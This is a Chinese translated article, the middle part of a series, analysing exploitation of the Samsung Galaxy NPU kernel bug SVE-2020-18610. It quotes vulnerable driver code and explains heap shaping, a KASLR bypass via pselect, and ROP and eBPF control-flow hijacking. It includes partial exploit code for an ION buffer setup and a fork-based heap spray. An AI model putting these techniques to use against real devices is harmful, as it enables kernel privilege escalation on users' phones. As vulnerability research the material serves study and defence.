深入剖析SVE-2020-18610漏洞(中)

  • A+
所属分类:安全文章
深入剖析SVE-2020-18610漏洞(中)
关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。
接上文:深入剖析SVE-2020-18610漏洞(上)

深入剖析SVE-2020-18610漏洞(中)

ION分配器

ION分配器其实就是一个内存池管理器,在用户空间、内核和协处理器之间分配一些可共享的内存缓冲区。ION分配器的主要用途是分配DMA缓冲区,并与各种硬件组件共享该内存区域。

// drivers/staging/android/uapi/ion.h (Samsung Galaxy kernel source)
enum ion_heap_type { ION_HEAP_TYPE_SYSTEM, ION_HEAP_TYPE_SYSTEM_CONTIG, ION_HEAP_TYPE_CARVEOUT, ION_HEAP_TYPE_CHUNK, ION_HEAP_TYPE_DMA, ION_HEAP_TYPE_CUSTOM, /* * must be last so device specific heaps always * are at the end of this enum */ ION_HEAP_TYPE_CUSTOM2, ION_HEAP_TYPE_HPA = ION_HEAP_TYPE_CUSTOM,};
...
struct ion_allocation_data { __u64 len; __u32 heap_id_mask; __u32 flags; __u32 fd; __u32 unused;};

ION分配器有2个重要的结构体,其中struct ion_allocation_data用于为用户空间ioctl命令分配ION缓冲区,如果分配成功,则设置fd成员;另一个重要的结构体是enum ion_heap_type,用于在初始化阶段创建特定类型的内存池。

用户空间可以通过/dev/ion接口使用ION分配器,具体代码如下所示。

其中,结构体ion_allocation_data中的heap_id_mask成员用于选择我们需要的特定ION内存。

int prepare_ion_buffer(uint64_t size) {  int kr;  int ion_fd = open("/dev/ion", O_RDONLY);  struct ion_allocation_data data;  memset(&data, 0, sizeof(data));
data.allocation.len = size; data.allocation.heap_id_mask = 1 << 1; data.allocation.flags = ION_FLAG_CACHED; if ((kr = ioctl(ion_fd, ION_IOC_ALLOC, &data)) < 0) { return kr; }
return data.allocation.fd;}
...
void work() { int dma_fd = prepare_ion_buffer(0x1000); void *ion_buffer = mmap(NULL, 0x7000, PROT_READ|PROT_WRITE, MAP_SHARED, dma_fd, 0);}

就我们的NPU来说,分配的ION缓冲区在ION_HEAP_map_kernel中被用来与NPU设备进行同步,同时,通过mmaping data.allocation.fd,该ION缓冲区也会同步到用户空间缓冲区。

深入剖析SVE-2020-18610漏洞(中)

漏洞分析

该漏洞同时存在于__pilot_parsing_ncp和__second_parsing_ncp函数中。

int __second_parsing_ncp(  struct npu_session *session,  struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,  struct temp_av **temp_IMB_av, struct addr_info **WGT_av){  u32 address_vector_offset;  u32 address_vector_cnt;  u32 memory_vector_offset;  u32 memory_vector_cnt;  ...  struct ncp_header *ncp;  struct address_vector *av;  struct memory_vector *mv;  ...  char *ncp_vaddr;  ...  ncp_vaddr = (char *)session->ncp_mem_buf->vaddr;  ncp = (struct ncp_header *)ncp_vaddr;  ...  address_vector_offset = ncp->address_vector_offset;  address_vector_cnt = ncp->address_vector_cnt;  ...  memory_vector_offset = ncp->memory_vector_offset;  memory_vector_cnt = ncp->memory_vector_cnt;  ...  mv = (struct memory_vector *)(ncp_vaddr + memory_vector_offset);  av = (struct address_vector *)(ncp_vaddr + address_vector_offset);  ...  for (i = 0; i < memory_vector_cnt; i++) {    u32 memory_type = (mv + i)->type;    u32 address_vector_index;    u32 weight_offset;
switch (memory_type) { case MEMORY_TYPE_IN_FMAP: { address_vector_index = (mv + i)->address_vector_index; if (!EVER_FIND_FM(IFM_cnt, *temp_IFM_av, address_vector_index)) { (*temp_IFM_av + (*IFM_cnt))->index = address_vector_index; (*temp_IFM_av + (*IFM_cnt))->size = (av + address_vector_index)->size; (*temp_IFM_av + (*IFM_cnt))->pixel_format = (mv + i)->pixel_format; (*temp_IFM_av + (*IFM_cnt))->width = (mv + i)->width; (*temp_IFM_av + (*IFM_cnt))->height = (mv + i)->height; (*temp_IFM_av + (*IFM_cnt))->channels = (mv + i)->channels; ...

但是,在__second_parsing_ncp函数中出现了非常严重的越界读/写漏洞。正如我们在上一节所说,session->ncp_mem_buf->vaddr存放的是用户的数据。

所以,address_vector_offset,address_vector_cnt,memory_vector_offset和memory_vector_cnt是由我们提供的数据进行初始化的。正如变量名称所示,address_vector_offset和memory_vector_offset是用来计算每个向量内存地址的。

但是,由于这里并没有进行边界检查,因此,我们可以让mv和av指向内核空间中的任意区域,并且通过mv和av,我们可以用边界之外的未知值来填充temp_IFM_av。

深入剖析SVE-2020-18610漏洞(中)

获取AAR/AAW原语

现在,我们已经能够进行越界读/写了,但如何将其转换为AAR/AAW原语呢?

首先,我们需要知道我们在哪里,以确定我们可以读/写内核中的哪些对象。由于ION缓冲区是通过vmalloc映射到NPU会话的,而这个区域会存在越界漏洞,因此,我们需要知道vmalloc的分配算法,以及通过vmalloc分配的对象是什么。

vmalloc?

在内核中,主要有2个内存分配API,具体如下所示:

  1. kmalloc

  2. vmalloc

实际上,kmalloc和vmalloc的主要区别是物理内存的连续性。kmalloc分配的内存不仅在物理内存空间中是连续的,而且在虚拟内存空间中也是连续的。另一方面,vmalloc将内存分配到几乎连续的内存中,但每一页在物理内存中都是碎片化的。

对于vmalloc来说,它一个非常重要的特性是它可以分配守护页(guard page)的内存。

// kernel/fork.cstatic unsigned long *alloc_thread_stack_node(struct task_struct *tsk, int node){#ifdef CONFIG_VMAP_STACK  void *stack;  ...  stack = __vmalloc_node_range(THREAD_SIZE, THREAD_ALIGN,             VMALLOC_START, VMALLOC_END,             THREADINFO_GFP,             PAGE_KERNEL,             0, node, __builtin_return_address(0));  ...

由于在ARM64中THREAD_SIZE是(1 << 14),所以每个内核线程栈的大小为4K。但每个内核线程栈都有类似下面的前/后保护页,以防止内核出现溢出漏洞。

深入剖析SVE-2020-18610漏洞(中)

所以,当我们在今年年初测试这个漏洞的时候,我们意识到,必须通过对堆进行塑型来利用这个漏洞。如果我们能像下面那样成功地对堆进行塑型,保护页对我们来说就不是障碍了,因为我们获得了强大的越界读写能力!

深入剖析SVE-2020-18610漏洞(中)

Google Project Zero的方法

如上所述,要成功地利用这个漏洞,我们需要像上面那样塑造堆。P0使用了一堆binder文件描述符和uesr线程来塑造堆。详细的方法和代码,大家可以在P0的文章中找到。

深入剖析SVE-2020-18610漏洞(中)

越界加法

他们在__second_parsing_ncp函数中直接使用了越界读/写。

在MEMORY_TYPE_WMASK的情况下,他们可以让(av + address_vector_index)->m_addr指向vmap-ed缓冲区的界外地址。所以,他们可以通过(av + address_vector_index)->m_addr = weight_offset + ncp_daddr;语句在ION缓冲区之任意的地址进行越界读/写。

int __second_parsing_ncp(  struct npu_session *session,  struct temp_av **temp_IFM_av, struct temp_av **temp_OFM_av,  struct temp_av **temp_IMB_av, struct addr_info **WGT_av){      ...      struct address_vector *av;      ...      address_vector_offset = ncp->address_vector_offset; /* u32 */      ...      av = (struct address_vector *)(ncp_vaddr + address_vector_offset);      ...      case MEMORY_TYPE_WMASK:      {          // update address vector, m_addr with ncp_alloc_daddr + offset          address_vector_index = (mv + i)->address_vector_index;          weight_offset = (av + address_vector_index)->m_addr;          if (weight_offset > (u32)session->ncp_mem_buf->size) {              ret = -EINVAL;              ...              goto p_err;          }          (av + address_vector_index)->m_addr = weight_offset + ncp_daddr;          ....

当然,由于他们的越界加法原语仅适用于ncp_daddr,他们需要设法控制ncp_daddr来获取一些想要的值。因为ncp_daddr是ION缓冲区的设备地址,所以,他们需要把ION缓冲区放到特定的位置,并且还要有特定的大小。他们通过大量的测试,使用类型编号为5的ION堆来解决了这个问题,这种堆通常会从低到高分配设备地址。

深入剖析SVE-2020-18610漏洞(中)

绕过KASLR

他们选择通过pselect()系统调用来利用内核空间的copy_to_user()。在pselect()系统调用中,目标线程任务将在执行copy_to_user()之前被阻塞,因此,在主exploit线程中,他们修改了copy_to_user()的参数size。

int core_sys_select(int n, fd_set __user *inp, fd_set __user *outp,         fd_set __user *exp, struct timespec64 *end_time){  ...  ret = do_select(n, &fds, end_time);  ...  if (set_fd_set(n, inp, fds.res_in) ||      set_fd_set(n, outp, fds.res_out) ||      set_fd_set(n, exp, fds.res_ex))    ...

在这部分代码最有意思的是,即使n来自寄存器,当do_select被阻塞时,n也必定被溢出到堆栈。所以,如果溢出的n被越界写漏洞所修改,相应的字节数就会被复制到用户空间。

static inline unsigned long __must_checkset_fd_set(unsigned long nr, void __user *ufdset, unsigned long *fdset){  if (ufdset)    return __copy_to_user(ufdset, fdset, FDS_BYTES(nr));  return 0;}

虽然在__copy_to_user()中进行了某些优化和安全检查,但他们成功地得到了未初始化的内核堆栈内容。

深入剖析SVE-2020-18610漏洞(中)

劫持控制流

通过控制栈内容实现ROP是非常复杂的一个任务。简单的说,他们为此还使用了pselect系统调用,因为当do_select()函数被poll_schedule_timeout()函数阻塞时,他们可以通过越界原语来修改n的值。所以,当解除阻塞后,for循环会在fds栈帧上运行,并且栈内容将被覆盖。

static int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time){...    retval = 0;    for (;;) {...        inp = fds->in; outp = fds->out; exp = fds->ex;        rinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex;  //        for (i = 0; i < n; ++rinp, ++routp, ++rexp) {...            in = *inp++; out = *outp++; ex = *exp++;            all_bits = in | out | ex;            if (all_bits == 0) {                i += BITS_PER_LONG;                continue;            }  //            for (j = 0, bit = 1; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) {                struct fd f;                if (i >= n)                    break;                if (!(bit & all_bits))                    continue;                f = fdget(i);                if (f.file) {...                    if (f_op->poll) {...                        mask = (*f_op->poll)(f.file, wait);                    }                    fdput(f);                    if ((mask & POLLIN_SET) && (in & bit)) {                        res_in |= bit;                        retval++;...                    }...                }            }            if (res_in)                *rinp = res_in;            if (res_out)                *routp = res_out;            if (res_ex)                *rexp = res_ex;            cond_resched();        }...        if (retval || timed_out || signal_pending(current))            break;...        if (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE,                       to, slack))            timed_out = 1;    }...    return retval;}

在内核中找到ROP后,他们进一步使用了eBPF系统,因为如果我们可以将X1寄存器的任意值传递给__bpf_prog_run(),我们就可以通过执行一连串的eBPF指令,来对任意的地址进行读写操作,并调用内核函数。

我们使用的方法

我们也像P0一样塑造了堆,但是没有使用binder的fd和用户线程,而是使用了fork()系统调用,因为它也调用了内核例程中的vmalloc。由于我们是在Samsung Galaxy S10 SM-973N上开发的exploit,所以,我们能得到的所有信息,都来自adb bugreport命令。

...
atomic_int *wait_count;
int parent_pipe[2];int child_pipe[2];int trig_pipe[2];
void *read_sleep_func(void *arg){ atomic_fetch_add(wait_count, 1); syscall(__NR_read, trig_pipe[0], 0x41414141, 0x13371337, 0x42424242, 0x43434343);
return NULL;}
...
int main(int argc, char *argv[]) { ... pipe(parent_pipe); pipe(child_pipe); pipe(trig_pipe); ... *wait_count = 0; int par_pid = 0; if (!(par_pid = fork())) { for (int i = 0; i < 0x2000; i++) { int pid = 0; if (!(pid = fork())){ read_sleep_func(NULL); return 0; } } return 0; } ... if(leak(0xeec8) != 0x41414141){ write(trig_pipe[1], "A", 1); // child process kill for (int i = ion_fd; i < 0x3ff; i++) { close(i); } munmap(ncp_page, 0x7000); goto retry; } ...

通过一种非常启发式的方法,即检查内核崩溃是否发生,我们最终可以将子内核堆栈放置在ION缓冲区之后。

深入剖析SVE-2020-18610漏洞(中)

小结

关于Samsung Galaxy的NPU漏洞,谷歌安全团队Project Zero曾经专门撰文加以介绍;但是,在本文中,我们将为读者介绍另外一种不同的漏洞利用方法。由于该漏洞本身非常简单,因此,我们将重点放在如何获得AAR/AAW,以及如何绕过Samsung Galaxy的缓解措施(如SELinux和KNOX)方面。我们的测试工作是在Samsung Galaxy S10上完成的,对于Samsung Galaxy S20,这里介绍的方法应该同样有效。

未完待续。

译文声明

译文仅供参考,具体内容表达以及含义原文为准。

深入剖析SVE-2020-18610漏洞(中)


- End -

精彩推荐

深入剖析SVE-2020-18610漏洞(上)

活动 | 看两会聊白帽,分享你对白帽黑客的看法领专属福利!(文末福利)

Fuzzing入坑系列-Part1

一道shiro反序列化转型引发的思考

深入剖析SVE-2020-18610漏洞(中)

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):深入剖析SVE-2020-18610漏洞(中)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: